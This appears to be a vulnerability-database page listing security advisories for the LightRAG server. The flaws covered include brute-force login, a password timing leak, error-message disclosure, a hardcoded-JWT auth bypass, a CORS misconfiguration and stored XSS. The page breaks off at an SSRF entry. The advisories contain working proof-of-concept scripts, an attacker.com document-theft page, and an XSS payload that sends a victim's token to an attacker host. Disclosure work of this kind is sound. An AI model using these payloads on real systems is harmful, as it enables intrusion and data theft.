            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-61740 PYSEC-2026-3475 GHSA-f4vv-55c2-5789 Jul 23, 2026

LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Critical

Network Low None None

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

lightrag/api/config.py:54 ships a hardcoded default JWT secret:
```
DEFAULT_TOKEN_SECRET="lightr...key!"
```
lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:
```
if not auth_configured and token_info.get("role") == "guest":
    return
```

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

Read and delete arbitrary documents (/documents, DELETE /documents)
Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
Clear LLM / embedding caches (/documents/clear_cache)
Inspect and mutate the knowledge graph (/graph/*)
Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

main through commit 157c331 (2026-04-15)
Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

Jun 09, 2026

1.5.0 minor

7 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

